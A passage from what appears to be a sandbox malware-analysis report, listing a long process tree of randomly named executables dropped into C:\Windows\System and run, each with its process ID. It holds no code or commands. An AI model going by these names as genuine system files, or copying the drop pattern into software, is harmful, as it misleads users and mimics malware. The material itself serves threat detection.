- C:\Windows\System\BqgISYU.exe
  C:\Windows\System\BqgISYU.exe
  2⤵
  - Executes dropped EXE
  PID:5112
- C:\Windows\System\Oqfdmnx.exe
  C:\Windows\System\Oqfdmnx.exe
  2⤵
  - Executes dropped EXE
  PID:3832
- C:\Windows\System\mCzVpwZ.exe
  C:\Windows\System\mCzVpwZ.exe
  2⤵
  - Executes dropped EXE
  PID:1728
- C:\Windows\System\qYyUsPB.exe
  C:\Windows\System\qYyUsPB.exe
  2⤵
  - Executes dropped EXE
  PID:3060
- C:\Windows\System\QNVbOQD.exe
  C:\Windows\System\QNVbOQD.exe
  2⤵
  - Executes dropped EXE
  PID:4780
- C:\Windows\System\XQBUzvz.exe
  C:\Windows\System\XQBUzvz.exe
  2⤵
  - Executes dropped EXE
  PID:3504
- C:\Windows\System\FZBIdqN.exe
  C:\Windows\System\FZBIdqN.exe
  2⤵
  - Executes dropped EXE
  PID:2872
- C:\Windows\System\ovKnXrn.exe
  C:\Windows\System\ovKnXrn.exe
  2⤵
  - Executes dropped EXE
  PID:3980
- C:\Windows\System\kCJeEfV.exe
  C:\Windows\System\kCJeEfV.exe
  2⤵
  - Executes dropped EXE
  PID:3584
- C:\Windows\System\MOnnrrw.exe
  C:\Windows\System\MOnnrrw.exe
  2⤵
  - Executes dropped EXE
  PID:1016
- C:\Windows\System\BKdFsFH.exe
  C:\Windows\System\BKdFsFH.exe
  2⤵
  - Executes dropped EXE
  PID:2128
- C:\Windows\System\HSVfTCh.exe
  C:\Windows\System\HSVfTCh.exe
  2⤵
  - Executes dropped EXE
  PID:4116
- C:\Windows\System\btDaJBd.exe
  C:\Windows\System\btDaJBd.exe
  2⤵
  - Executes dropped EXE
  PID:1624
- C:\Windows\System\oaOKKto.exe
  C:\Windows\System\oaOKKto.exe
  2⤵
  - Executes dropped EXE
  PID:3156
- C:\Windows\System\fDPtSiW.exe
  C:\Windows\System\fDPtSiW.exe
  2⤵
  - Executes dropped EXE
  PID:2804
- C:\Windows\System\KbBHQzM.exe
  C:\Windows\System\KbBHQzM.exe
  2⤵
  - Executes dropped EXE
  PID:1144
- C:\Windows\System\kGHdbwR.exe
  C:\Windows\System\kGHdbwR.exe
  2⤵
  - Executes dropped EXE
  PID:2340
- C:\Windows\System\eENLpiY.exe
  C:\Windows\System\eENLpiY.exe
  2⤵
  - Executes dropped EXE
  PID:3088
- C:\Windows\System\tWRAWVA.exe
  C:\Windows\System\tWRAWVA.exe
  2⤵
  - Executes dropped EXE
  PID:4152
- C:\Windows\System\yGEEmEE.exe
  C:\Windows\System\yGEEmEE.exe
  2⤵
  - Executes dropped EXE
  PID:3988
- C:\Windows\System\NMndSxb.exe
  C:\Windows\System\NMndSxb.exe
  2⤵
  - Executes dropped EXE
  PID:2964
- C:\Windows\System\QriqjpG.exe
  C:\Windows\System\QriqjpG.exe
  2⤵
  - Executes dropped EXE
  PID:3400
- C:\Windows\System\uztRyvN.exe
  C:\Windows\System\uztRyvN.exe
  2⤵
  - Executes dropped EXE
  PID:4920
- C:\Windows\System\PyzKrWv.exe
  C:\Windows\System\PyzKrWv.exe
  2⤵
  - Executes dropped EXE
  PID:804
- C:\Windows\System\BPDHgbC.exe
  C:\Windows\System\BPDHgbC.exe
  2⤵
  - Executes dropped EXE
  PID:3792
- C:\Windows\System\ZnaMoWm.exe
  C:\Windows\System\ZnaMoWm.exe
  2⤵
  - Executes dropped EXE
  PID:232
- C:\Windows\System\AeyddpC.exe
  C:\Windows\System\AeyddpC.exe
  2⤵
  - Executes dropped EXE
  PID:3972
- C:\Windows\System\PZjvJCg.exe
  C:\Windows\System\PZjvJCg.exe
  2⤵
  - Executes dropped EXE
  PID:4420
- C:\Windows\System\xuRMCbv.exe
  C:\Windows\System\xuRMCbv.exe
  2⤵
  - Executes dropped EXE
  PID:4428
- C:\Windows\System\ZTheRhf.exe
  C:\Windows\System\ZTheRhf.exe
  2⤵
  - Executes dropped EXE
  PID:2848
- C:\Windows\System\JYbJmcw.exe
  C:\Windows\System\JYbJmcw.exe
  2⤵
  - Executes dropped EXE
  PID:4464
- C:\Windows\System\wHuZRrL.exe
  C:\Windows\System\wHuZRrL.exe
  2⤵
  - Executes dropped EXE
  PID:2192
- C:\Windows\System\dECoCfQ.exe
  C:\Windows\System\dECoCfQ.exe
  2⤵
  - Executes dropped EXE
  PID:5024
- C:\Windows\System\HqvXSPp.exe
  C:\Windows\System\HqvXSPp.exe
  2⤵
  - Executes dropped EXE
  PID:4804
- C:\Windows\System\sewIZKg.exe
  C:\Windows\System\sewIZKg.exe
  2⤵
  - Executes dropped EXE
  PID:4980
- C:\Windows\System\LgvFeWW.exe
  C:\Windows\System\LgvFeWW.exe
  2⤵
  - Executes dropped EXE
  PID:5040
- C:\Windows\System\hDQPfJH.exe
  C:\Windows\System\hDQPfJH.exe
  2⤵
  - Executes dropped EXE
  PID:4356
- C:\Windows\System\Mduaahz.exe
  C:\Windows\System\Mduaahz.exe
  2⤵
  - Executes dropped EXE
  PID:1512
- C:\Windows\System\wgbmNKg.exe
  C:\Windows\System\wgbmNKg.exe
  2⤵
  - Executes dropped EXE
  PID:1912
- C:\Windows\System\WivGSkP.exe
  C:\Windows\System\WivGSkP.exe
  2⤵
  - Executes dropped EXE
  PID:2916
- C:\Windows\System\kXSOczb.exe
  C:\Windows\System\kXSOczb.exe
  2⤵
  - Executes dropped EXE
  PID:1332
- C:\Windows\System\SPPbrLf.exe
  C:\Windows\System\SPPbrLf.exe
  2⤵
  - Executes dropped EXE
  PID:3480
- C:\Windows\System\vtEaNei.exe
  C:\Windows\System\vtEaNei.exe
  2⤵
  - Executes dropped EXE
  PID:1548
- C:\Windows\System\JoYhuaQ.exe
  C:\Windows\System\JoYhuaQ.exe
  2⤵
  - Executes dropped EXE
  PID:976
- C:\Windows\System\tjRacXu.exe
  C:\Windows\System\tjRacXu.exe
  2⤵
  - Executes dropped EXE
  PID:2708
- C:\Windows\System\qmOxwpm.exe
  C:\Windows\System\qmOxwpm.exe
  2⤵
  - Executes dropped EXE
  PID:4324
- C:\Windows\System\OqcwaoB.exe
  C:\Windows\System\OqcwaoB.exe
  2⤵
  - Executes dropped EXE
  PID:2116
- C:\Windows\System\QQWrRDB.exe
  C:\Windows\System\QQWrRDB.exe
  2⤵
  PID:2968
- C:\Windows\System\wOZaKGE.exe
  C:\Windows\System\wOZaKGE.exe
  2⤵
  - Executes dropped EXE
  PID:4880
- C:\Windows\System\jGHnTGy.exe
  C:\Windows\System\jGHnTGy.exe
  2⤵
  - Executes dropped EXE
  PID:5108
- C:\Windows\System\KZWoTgn.exe
  C:\Windows\System\KZWoTgn.exe
  2⤵
  - Executes dropped EXE
  PID:4328
- C:\Windows\System\IaRdAEh.exe
  C:\Windows\System\IaRdAEh.exe
  2⤵
  - Executes dropped EXE
  PID:2120
- C:\Windows\System\BTjgJdk.exe
  C:\Windows\System\BTjgJdk.exe
  2⤵
  - Executes dropped EXE
  PID:5136
- C:\Windows\System\wFqLNhO.exe
  C:\Windows\System\wFqLNhO.exe
  2⤵
  - Executes dropped EXE
  PID:5168
- C:\Windows\System\xCrrMEM.exe
  C:\Windows\System\xCrrMEM.exe
  2⤵
  - Executes dropped EXE
  PID:5200
- C:\Windows\System\QELRLXL.exe
  C:\Windows\System\QELRLXL.exe
  2⤵
  - Executes dropped EXE
  PID:5216
- C:\Windows\System\cCtdqvP.exe
  C:\Windows\System\cCtdqvP.exe
  2⤵
  - Executes dropped EXE
  PID:5236
- C:\Windows\System\ASJaXVs.exe
  C:\Windows\System\ASJaXVs.exe
  2⤵
  - Executes dropped EXE
  PID:5252
- C:\Windows\System\zDTGdGf.exe
  C:\Windows\System\zDTGdGf.exe
  2⤵
  - Executes dropped EXE
  PID:5288
- C:\Windows\System\IiHspyY.exe
  C:\Windows\System\IiHspyY.exe
  2⤵
  - Executes dropped EXE
  PID:5312
- C:\Windows\System\zAMqbqF.exe
  C:\Windows\System\zAMqbqF.exe
  2⤵
  PID:5328
- C:\Windows\System\xSEmoBZ.exe
  C:\Windows\System\xSEmoBZ.exe
  2⤵
  PID:5348
- C:\Windows\System\txQmQVn.exe
  C:\Windows\System\txQmQVn.exe
  2⤵
  PID:5364
- C:\Windows\System\IEgmuID.exe
  C:\Windows\System\IEgmuID.exe
  2⤵
  PID:5380
- C:\Windows\System\CiMoShY.exe
  C:\Windows\System\CiMoShY.exe
  2⤵
  PID:5396
- C:\Windows\System\iVKogUj.exe
  C:\Windows\System\iVKogUj.exe
  2⤵
  PID:5420
- C:\Windows\System\fbMMSIP.exe
  C:\Windows\System\fbMMSIP.exe
  2⤵
  PID:5436
- C:\Windows\System\nptYtAg.exe
  C:\Windows\System\nptYtAg.exe
  2⤵
  PID:5460
- C:\Windows\System\iIpGBVd.exe
  C:\Windows\System\iIpGBVd.exe
  2⤵
  PID:5484
- C:\Windows\System\TbpxNiH.exe
  C:\Windows\System\TbpxNiH.exe
  2⤵
  PID:5504
- C:\Windows\System\guobise.exe
  C:\Windows\System\guobise.exe
  2⤵
  PID:5520
- C:\Windows\System\EzwrBBQ.exe
  C:\Windows\System\EzwrBBQ.exe
  2⤵
  PID:5540
- C:\Windows\System\nazDfMb.exe
  C:\Windows\System\nazDfMb.exe
  2⤵
  PID:5572
- C:\Windows\System\lyAWYIU.exe
  C:\Windows\System\lyAWYIU.exe
  2⤵
  PID:5604
- C:\Windows\System\ObJTbOL.exe
  C:\Windows\System\ObJTbOL.exe
  2⤵
  PID:5628
- C:\Windows\System\FURKfel.exe
  C:\Windows\System\FURKfel.exe
  2⤵
  PID:5644
- C:\Windows\System\oCpnpRW.exe
  C:\Windows\System\oCpnpRW.exe
  2⤵
  PID:5668
- C:\Windows\System\hOscjVC.exe
  C:\Windows\System\hOscjVC.exe
  2⤵
  PID:5688
- C:\Windows\System\rTohLbf.exe
  C:\Windows\System\rTohLbf.exe
  2⤵
  PID:5712
- C:\Windows\System\jqzSmRF.exe
  C:\Windows\System\jqzSmRF.exe
  2⤵
  PID:5728
- C:\Windows\System\hQQumZi.exe
  C:\Windows\System\hQQumZi.exe
  2⤵
  PID:5744
- C:\Windows\System\sBmANQl.exe
  C:\Windows\System\sBmANQl.exe
  2⤵
  PID:5784
- C:\Windows\System\afwDMzf.exe
  C:\Windows\System\afwDMzf.exe
  2⤵
  PID:5808
- C:\Windows\System\MNoXkqR.exe
  C:\Windows\System\MNoXkqR.exe
  2⤵
  PID:5948
- C:\Windows\System\ADusalB.exe
  C:\Windows\System\ADusalB.exe
  2⤵
  PID:5976
- C:\Windows\System\lLYcbfo.exe
  C:\Windows\System\lLYcbfo.exe
  2⤵
  PID:5996
- C:\Windows\System\MqyqHVN.exe
  C:\Windows\System\MqyqHVN.exe
  2⤵
  PID:6024
- C:\Windows\System\POSCpqG.exe
  C:\Windows\System\POSCpqG.exe
  2⤵
  PID:6072
- C:\Windows\System\dILilpD.exe
  C:\Windows\System\dILilpD.exe
  2⤵
  PID:6092
- C:\Windows\System\GhTMCiX.exe
  C:\Windows\System\GhTMCiX.exe
  2⤵
  PID:6112
- C:\Windows\System\gxblELD.exe
  C:\Windows\System\gxblELD.exe
  2⤵
  PID:6136
- C:\Windows\System\TSqVIrI.exe
  C:\Windows\System\TSqVIrI.exe
  2⤵
  PID:3120
- C:\Windows\System\wdDSMHM.exe
  C:\Windows\System\wdDSMHM.exe
  2⤵
  PID:1840
- C:\Windows\System\FjUIWLM.exe
  C:\Windows\System\FjUIWLM.exe
  2⤵
  PID:1796
- C:\Windows\System\YBpziJG.exe
  C:\Windows\System\YBpziJG.exe
  2⤵
  PID:2176
- C:\Windows\System\fjaVlcT.exe
  C:\Windows\System\fjaVlcT.exe
  2⤵
  PID:1340
- C:\Windows\System\zkCcgJs.exe
  C:\Windows\System\zkCcgJs.exe
  2⤵
  PID:2388
- C:\Windows\System\LPIcVDi.exe
  C:\Windows\System\LPIcVDi.exe
  2⤵
  PID:5180
- C:\Windows\System\vpzxOAz.exe
  C:\Windows\System\vpzxOAz.exe
  2⤵
  PID:5244
- C:\Windows\System\jvDwrGP.exe
  C:\Windows\System\jvDwrGP.exe
  2⤵
  PID:5472
- C:\Windows\System\TFPRHeS.exe
  C:\Windows\System\TFPRHeS.exe
  2⤵
  PID:5428
- C:\Windows\System\ksErOrz.exe
  C:\Windows\System\ksErOrz.exe
  2⤵
  PID:4616
- C:\Windows\System\FHQnuOo.exe
  C:\Windows\System\FHQnuOo.exe
  2⤵
  PID:5568
- C:\Windows\System\pjFIAIJ.exe
  C:\Windows\System\pjFIAIJ.exe
  2⤵
  PID:5596
- C:\Windows\System\qZKNHkA.exe
  C:\Windows\System\qZKNHkA.exe
  2⤵
  PID:5640
- C:\Windows\System\FkrLThk.exe
  C:\Windows\System\FkrLThk.exe
  2⤵
  PID:5680
- C:\Windows\System\ZMMLqTS.exe
  C:\Windows\System\ZMMLqTS.exe
  2⤵
  PID:5740
- C:\Windows\System\xqUpJuh.exe
  C:\Windows\System\xqUpJuh.exe
  2⤵
  PID:2528
- C:\Windows\System\shsgriN.exe
  C:\Windows\System\shsgriN.exe
  2⤵
  PID:5796
- C:\Windows\System\YDBRnHu.exe
  C:\Windows\System\YDBRnHu.exe
  2⤵
  PID:6008
- C:\Windows\System\jHtsdHm.exe
  C:\Windows\System\jHtsdHm.exe
  2⤵
  PID:6164
- C:\Windows\System\HiCxsJO.exe
  C:\Windows\System\HiCxsJO.exe
  2⤵
  PID:6180
- C:\Windows\System\uHGkEAK.exe
  C:\Windows\System\uHGkEAK.exe
  2⤵
  PID:6200
- C:\Windows\System\AASHjjB.exe
  C:\Windows\System\AASHjjB.exe
  2⤵
  PID:6444
- C:\Windows\System\dbWcUAs.exe
  C:\Windows\System\dbWcUAs.exe
  2⤵
  PID:6460
- C:\Windows\System\RvHLSZI.exe
  C:\Windows\System\RvHLSZI.exe
  2⤵
  PID:6476
- C:\Windows\System\QdovqZa.exe
  C:\Windows\System\QdovqZa.exe
  2⤵
  PID:6496
- C:\Windows\System\WMvVyKE.exe
  C:\Windows\System\WMvVyKE.exe
  2⤵
  PID:6516
- C:\Windows\System\zjyynhf.exe
  C:\Windows\System\zjyynhf.exe
  2⤵
  PID:6536
- C:\Windows\System\vhjzlRb.exe
  C:\Windows\System\vhjzlRb.exe
  2⤵
  PID:6556
- C:\Windows\System\XWjqzIK.exe
  C:\Windows\System\XWjqzIK.exe
  2⤵
  PID:6580
- C:\Windows\System\qkaXXmi.exe
  C:\Windows\System\qkaXXmi.exe
  2⤵
  PID:6600
- C:\Windows\System\bBPKCYQ.exe
  C:\Windows\System\bBPKCYQ.exe
  2⤵
  PID:6620
- C:\Windows\System\lPeHuXA.exe
  C:\Windows\System\lPeHuXA.exe
  2⤵
  PID:6644
- C:\Windows\System\oIiWZpI.exe
  C:\Windows\System\oIiWZpI.exe
  2⤵
  PID:6660
- C:\Windows\System\IPshkKP.exe
  C:\Windows\System\IPshkKP.exe
  2⤵
  PID:6688
- C:\Windows\System\imWMvox.exe
  C:\Windows\System\imWMvox.exe
  2⤵
  PID:6708
- C:\Windows\System\TvMVDJj.exe
  C:\Windows\System\TvMVDJj.exe
  2⤵
  PID:6728
- C:\Windows\System\SnUoasV.exe
  C:\Windows\System\SnUoasV.exe
  2⤵
  PID:6748
- C:\Windows\System\ijZwPUn.exe
  C:\Windows\System\ijZwPUn.exe
  2⤵
  PID:6768
- C:\Windows\System\orAmSUH.exe
  C:\Windows\System\orAmSUH.exe
  2⤵
  PID:6792
- C:\Windows\System\zizCKYE.exe
  C:\Windows\System\zizCKYE.exe
  2⤵
  PID:6808
- C:\Windows\System\MBjnxak.exe
  C:\Windows\System\MBjnxak.exe
  2⤵
  PID:6832
- C:\Windows\System\UJGGpcO.exe
  C:\Windows\System\UJGGpcO.exe
  2⤵
  PID:6852
- C:\Windows\System\cfivEnB.exe
  C:\Windows\System\cfivEnB.exe
  2⤵
  PID:6872
- C:\Windows\System\NqnziDE.exe
  C:\Windows\System\NqnziDE.exe
  2⤵
  PID:6896
- C:\Windows\System\MhRgvjy.exe
  C:\Windows\System\MhRgvjy.exe
  2⤵
  PID:6912
- C:\Windows\System\ljgOCPB.exe
  C:\Windows\System\ljgOCPB.exe
  2⤵
  PID:6932
- C:\Windows\System\kxzoiCj.exe
  C:\Windows\System\kxzoiCj.exe
  2⤵
  PID:6956
- C:\Windows\System\yCNHInf.exe
  C:\Windows\System\yCNHInf.exe
  2⤵
  PID:6972
- C:\Windows\System\KhZWrdT.exe
  C:\Windows\System\KhZWrdT.exe
  2⤵
  PID:6988
- C:\Windows\System\FRYmRJV.exe
  C:\Windows\System\FRYmRJV.exe
  2⤵
  PID:7028
- C:\Windows\System\ZwRKUbc.exe
  C:\Windows\System\ZwRKUbc.exe
  2⤵
  PID:7048
- C:\Windows\System\SXHMLDB.exe
  C:\Windows\System\SXHMLDB.exe
  2⤵
  PID:7064
- C:\Windows\System\AhZorLY.exe
  C:\Windows\System\AhZorLY.exe
  2⤵
  PID:7092
- C:\Windows\System\ExPChMX.exe
  C:\Windows\System\ExPChMX.exe
  2⤵
  PID:7112
- C:\Windows\System\zioYAeK.exe
  C:\Windows\System\zioYAeK.exe
  2⤵
  PID:7128
- C:\Windows\System\UxxSPKn.exe
  C:\Windows\System\UxxSPKn.exe
  2⤵
  PID:7152
- C:\Windows\System\vhmvUpG.exe
  C:\Windows\System\vhmvUpG.exe
  2⤵
  PID:6016
- C:\Windows\System\XVkuxIT.exe
  C:\Windows\System\XVkuxIT.exe
  2⤵
  PID:5876
- C:\Windows\System\qZDwqFS.exe
  C:\Windows\System\qZDwqFS.exe
  2⤵
  PID:5964
- C:\Windows\System\EYORzWT.exe
  C:\Windows\System\EYORzWT.exe
  2⤵
  PID:5128
- C:\Windows\System\baTWyMM.exe
  C:\Windows\System\baTWyMM.exe
  2⤵
  PID:6068
- C:\Windows\System\VjwWcFa.exe
  C:\Windows\System\VjwWcFa.exe
  2⤵
  PID:6100
- C:\Windows\System\ReChaIA.exe
  C:\Windows\System\ReChaIA.exe
  2⤵
  PID:3068
- C:\Windows\System\hPhBrSJ.exe
  C:\Windows\System\hPhBrSJ.exe
  2⤵
  PID:1080
- C:\Windows\System\IaOMtfo.exe
  C:\Windows\System\IaOMtfo.exe
  2⤵
  PID:2492
- C:\Windows\System\utxltto.exe
  C:\Windows\System\utxltto.exe
  2⤵
  PID:5144
- C:\Windows\System\afHqUpF.exe
  C:\Windows\System\afHqUpF.exe
  2⤵
  PID:5300
- C:\Windows\System\iwUzURS.exe
  C:\Windows\System\iwUzURS.exe
  2⤵
  PID:5388
- C:\Windows\System\MZBFPxG.exe
  C:\Windows\System\MZBFPxG.exe
  2⤵
  PID:3956
- C:\Windows\System\yjljsWo.exe
  C:\Windows\System\yjljsWo.exe
  2⤵
  PID:5536
- C:\Windows\System\SlfYBzS.exe
  C:\Windows\System\SlfYBzS.exe
  2⤵
  PID:5656
- C:\Windows\System\WzXthFq.exe
  C:\Windows\System\WzXthFq.exe
  2⤵
  PID:5724
- C:\Windows\System\phYSxfI.exe
  C:\Windows\System\phYSxfI.exe
  2⤵
  PID:5792
- C:\Windows\System\NogXkVC.exe
  C:\Windows\System\NogXkVC.exe
  2⤵
  PID:6176
- C:\Windows\System\NaESjxq.exe
  C:\Windows\System\NaESjxq.exe
  2⤵
  PID:6188
- C:\Windows\System\EHVsckP.exe
  C:\Windows\System\EHVsckP.exe
  2⤵
  PID:6292
- C:\Windows\System\eTNZkKC.exe
  C:\Windows\System\eTNZkKC.exe
  2⤵
  PID:4376
- C:\Windows\System\GZrELxG.exe
  C:\Windows\System\GZrELxG.exe
  2⤵
  PID:1948
- C:\Windows\System\rGhseMa.exe
  C:\Windows\System\rGhseMa.exe
  2⤵
  PID:764
- C:\Windows\System\vIYWEJc.exe
  C:\Windows\System\vIYWEJc.exe
  2⤵
  PID:1484
- C:\Windows\System\wWRGlQb.exe
  C:\Windows\System\wWRGlQb.exe
  2⤵
  PID:368
- C:\Windows\System\HbunJae.exe
  C:\Windows\System\HbunJae.exe
  2⤵
  PID:3336
- C:\Windows\System\TfCCQQZ.exe
  C:\Windows\System\TfCCQQZ.exe
  2⤵
  PID:1460
- C:\Windows\System\dehLiDH.exe
  C:\Windows\System\dehLiDH.exe
  2⤵
  PID:3996
- C:\Windows\System\zBeqHPh.exe
  C:\Windows\System\zBeqHPh.exe
  2⤵
  PID:2172
- C:\Windows\System\zPFLfmy.exe
  C:\Windows\System\zPFLfmy.exe
  2⤵
  PID:4760
- C:\Windows\System\lnHbYMQ.exe
  C:\Windows\System\lnHbYMQ.exe
  2⤵
  PID:2936
- C:\Windows\System\xVtdxYi.exe
  C:\Windows\System\xVtdxYi.exe
  2⤵
  PID:400
- C:\Windows\System\oWrtuBL.exe
  C:\Windows\System\oWrtuBL.exe
  2⤵
  PID:6504
- C:\Windows\System\gGCKqAD.exe
  C:\Windows\System\gGCKqAD.exe
  2⤵
  PID:6552
- C:\Windows\System\oYwPFYb.exe
  C:\Windows\System\oYwPFYb.exe
  2⤵
  PID:3860
- C:\Windows\System\CsUQqDT.exe
  C:\Windows\System\CsUQqDT.exe
  2⤵
  PID:6676
- C:\Windows\System\wulBsPa.exe
  C:\Windows\System\wulBsPa.exe
  2⤵
  PID:6736
- C:\Windows\System\LajlHGh.exe
  C:\Windows\System\LajlHGh.exe
  2⤵
  PID:6824
- C:\Windows\System\ZpIyttV.exe
  C:\Windows\System\ZpIyttV.exe
  2⤵
  PID:6880
- C:\Windows\System\RMlrbUK.exe
  C:\Windows\System\RMlrbUK.exe
  2⤵
  PID:6472
- C:\Windows\System\mCXxhve.exe
  C:\Windows\System\mCXxhve.exe
  2⤵
  PID:6632
- C:\Windows\System\fFuUTSp.exe
  C:\Windows\System\fFuUTSp.exe
  2⤵
  PID:224
- C:\Windows\System\RHHIvkh.exe
  C:\Windows\System\RHHIvkh.exe
  2⤵
  PID:7120
- C:\Windows\System\zTgvHOy.exe
  C:\Windows\System\zTgvHOy.exe
  2⤵
  PID:5824
- C:\Windows\System\MMDSXsb.exe
  C:\Windows\System\MMDSXsb.exe
  2⤵
  PID:5944
- C:\Windows\System\AGXZXeh.exe
  C:\Windows\System\AGXZXeh.exe
  2⤵
  PID:6432
- C:\Windows\System\WsQTdoE.exe
  C:\Windows\System\WsQTdoE.exe
  2⤵
  PID:6120
- C:\Windows\System\VsRppdJ.exe
  C:\Windows\System\VsRppdJ.exe
  2⤵
  PID:4536
- C:\Windows\System\agzohLK.exe
  C:\Windows\System\agzohLK.exe
  2⤵
  PID:6964
- C:\Windows\System\FRtGNTN.exe
  C:\Windows\System\FRtGNTN.exe
  2⤵
  PID:5452
- C:\Windows\System\IctEKBG.exe
  C:\Windows\System\IctEKBG.exe
  2⤵
  PID:5720
- C:\Windows\System\KykRqCH.exe
  C:\Windows\System\KykRqCH.exe
  2⤵
  PID:7176
- C:\Windows\System\gBrHkFX.exe
  C:\Windows\System\gBrHkFX.exe
  2⤵
  PID:7196
- C:\Windows\System\wkoQtIc.exe
  C:\Windows\System\wkoQtIc.exe
  2⤵
  PID:7216
- C:\Windows\System\ianQfzP.exe
  C:\Windows\System\ianQfzP.exe
  2⤵
  PID:7236
- C:\Windows\System\FkBsGDf.exe
  C:\Windows\System\FkBsGDf.exe
  2⤵
  PID:7256
- C:\Windows\System\ovjBQir.exe
  C:\Windows\System\ovjBQir.exe
  2⤵
  PID:7280
- C:\Windows\System\HZdqbVq.exe
  C:\Windows\System\HZdqbVq.exe
  2⤵
  PID:7300
- C:\Windows\System\CUlhSBr.exe
  C:\Windows\System\CUlhSBr.exe
  2⤵
  PID:7328
- C:\Windows\System\VyERKNm.exe
  C:\Windows\System\VyERKNm.exe
  2⤵
  PID:7344
- C:\Windows\System\qLJWgcA.exe
  C:\Windows\System\qLJWgcA.exe
  2⤵
  PID:7372
- C:\Windows\System\KuwquvL.exe
  C:\Windows\System\KuwquvL.exe
  2⤵
  PID:7392
- C:\Windows\System\NfSRboE.exe
  C:\Windows\System\NfSRboE.exe
  2⤵
  PID:7412
- C:\Windows\System\rMFTOIw.exe
  C:\Windows\System\rMFTOIw.exe
  2⤵
  PID:7432
- C:\Windows\System\PtwMNhH.exe
  C:\Windows\System\PtwMNhH.exe
  2⤵
  PID:7452
- C:\Windows\System\iqRyqhw.exe
  C:\Windows\System\iqRyqhw.exe
  2⤵
  PID:7472
- C:\Windows\System\mUjoJHd.exe
  C:\Windows\System\mUjoJHd.exe
  2⤵
  PID:7500
- C:\Windows\System\BUQbbjN.exe
  C:\Windows\System\BUQbbjN.exe
  2⤵
  PID:7516
- C:\Windows\System\rUOHwiU.exe
  C:\Windows\System\rUOHwiU.exe
  2⤵
  PID:7532
- C:\Windows\System\gxVZqOC.exe
  C:\Windows\System\gxVZqOC.exe
  2⤵
  PID:7552
- C:\Windows\System\OVikqGJ.exe
  C:\Windows\System\OVikqGJ.exe
  2⤵
  PID:7572
- C:\Windows\System\jloervs.exe
  C:\Windows\System\jloervs.exe
  2⤵
  PID:7592
- C:\Windows\System\MkzANQI.exe
  C:\Windows\System\MkzANQI.exe
  2⤵
  PID:7616
- C:\Windows\System\DJkhwLn.exe
  C:\Windows\System\DJkhwLn.exe
  2⤵
  PID:7632
- C:\Windows\System\PooiSKy.exe
  C:\Windows\System\PooiSKy.exe
  2⤵
  PID:7656
- C:\Windows\System\jEEFROW.exe
  C:\Windows\System\jEEFROW.exe
  2⤵
  PID:7676
- C:\Windows\System\fCJnCjZ.exe
  C:\Windows\System\fCJnCjZ.exe
  2⤵
  PID:7700
- C:\Windows\System\jghCsHx.exe
  C:\Windows\System\jghCsHx.exe
  2⤵
  PID:7720
- C:\Windows\System\TkNjWNU.exe
  C:\Windows\System\TkNjWNU.exe
  2⤵
  PID:7744
- C:\Windows\System\savaIlS.exe
  C:\Windows\System\savaIlS.exe
  2⤵
  PID:7764
- C:\Windows\System\IriuChK.exe
  C:\Windows\System\IriuChK.exe
  2⤵
  PID:7780
- C:\Windows\System\PrOaEYN.exe
  C:\Windows\System\PrOaEYN.exe
  2⤵
  PID:7796
- C:\Windows\System\EZkiGqW.exe
  C:\Windows\System\EZkiGqW.exe
  2⤵
  PID:7816
- C:\Windows\System\DULUTEA.exe
  C:\Windows\System\DULUTEA.exe
  2⤵
  PID:7836
- C:\Windows\System\JhFLhPa.exe
  C:\Windows\System\JhFLhPa.exe
  2⤵
  PID:7864
- C:\Windows\System\GeWyEgB.exe
  C:\Windows\System\GeWyEgB.exe
  2⤵
  PID:7880
- C:\Windows\System\xRvwowG.exe
  C:\Windows\System\xRvwowG.exe
  2⤵
  PID:7900
- C:\Windows\System\AagBIas.exe
  C:\Windows\System\AagBIas.exe
  2⤵
  PID:7920
- C:\Windows\System\NsrGlCZ.exe
  C:\Windows\System\NsrGlCZ.exe
  2⤵
  PID:7940
- C:\Windows\System\LMABWQe.exe
  C:\Windows\System\LMABWQe.exe
  2⤵
  PID:7956
- C:\Windows\System\RDWuwLh.exe
  C:\Windows\System\RDWuwLh.exe
  2⤵
  PID:7976
- C:\Windows\System\pwFjDVL.exe
  C:\Windows\System\pwFjDVL.exe
  2⤵
  PID:7992
- C:\Windows\System\ifGtGhm.exe
  C:\Windows\System\ifGtGhm.exe
  2⤵
  PID:8016
- C:\Windows\System\NyrdsbZ.exe
  C:\Windows\System\NyrdsbZ.exe
  2⤵
  PID:8032
- C:\Windows\System\NFyWypo.exe
  C:\Windows\System\NFyWypo.exe
  2⤵
  PID:8060
- C:\Windows\System\HefFFON.exe
  C:\Windows\System\HefFFON.exe
  2⤵
  PID:8076
- C:\Windows\System\YdwOYpc.exe
  C:\Windows\System\YdwOYpc.exe
  2⤵
  PID:8096
- C:\Windows\System\nJSSQhQ.exe
  C:\Windows\System\nJSSQhQ.exe
  2⤵
  PID:8116
- C:\Windows\System\oKWJplp.exe
  C:\Windows\System\oKWJplp.exe
  2⤵
  PID:8136
- C:\Windows\System\xBTLVRu.exe
  C:\Windows\System\xBTLVRu.exe
  2⤵
  PID:8160
- C:\Windows\System\QKSVeAh.exe
  C:\Windows\System\QKSVeAh.exe
  2⤵
  PID:8180
- C:\Windows\System\vQLAYYD.exe
  C:\Windows\System\vQLAYYD.exe
  2⤵
  PID:7044
- C:\Windows\System\uXfAnnF.exe
  C:\Windows\System\uXfAnnF.exe
  2⤵
  PID:7108
- C:\Windows\System\vlLpZOS.exe
  C:\Windows\System\vlLpZOS.exe
  2⤵
  PID:6744
- C:\Windows\System\RqonUqQ.exe
  C:\Windows\System\RqonUqQ.exe
  2⤵
  PID:2288
- C:\Windows\System\LqyBoSS.exe
  C:\Windows\System\LqyBoSS.exe
  2⤵
  PID:1824
- C:\Windows\System\zxkYbXW.exe
  C:\Windows\System\zxkYbXW.exe
  2⤵
  PID:6080
- C:\Windows\System\AybpZzd.exe
  C:\Windows\System\AybpZzd.exe
  2⤵
  PID:6928
- C:\Windows\System\RIGYcUz.exe
  C:\Windows\System\RIGYcUz.exe
  2⤵
  PID:6528
- C:\Windows\System\sBqvDJY.exe
  C:\Windows\System\sBqvDJY.exe
  2⤵
  PID:6628
- C:\Windows\System\VUvTGZo.exe
  C:\Windows\System\VUvTGZo.exe
  2⤵
  PID:6864
- C:\Windows\System\mtWNAZx.exe
  C:\Windows\System\mtWNAZx.exe
  2⤵
  PID:6616
- C:\Windows\System\iSkoXwT.exe
  C:\Windows\System\iSkoXwT.exe
  2⤵
  PID:6720
- C:\Windows\System\TjWNDJc.exe
  C:\Windows\System\TjWNDJc.exe
  2⤵
  PID:6304
- C:\Windows\System\WBayckR.exe
  C:\Windows\System\WBayckR.exe
  2⤵
  PID:1716
- C:\Windows\System\cFCiIsv.exe
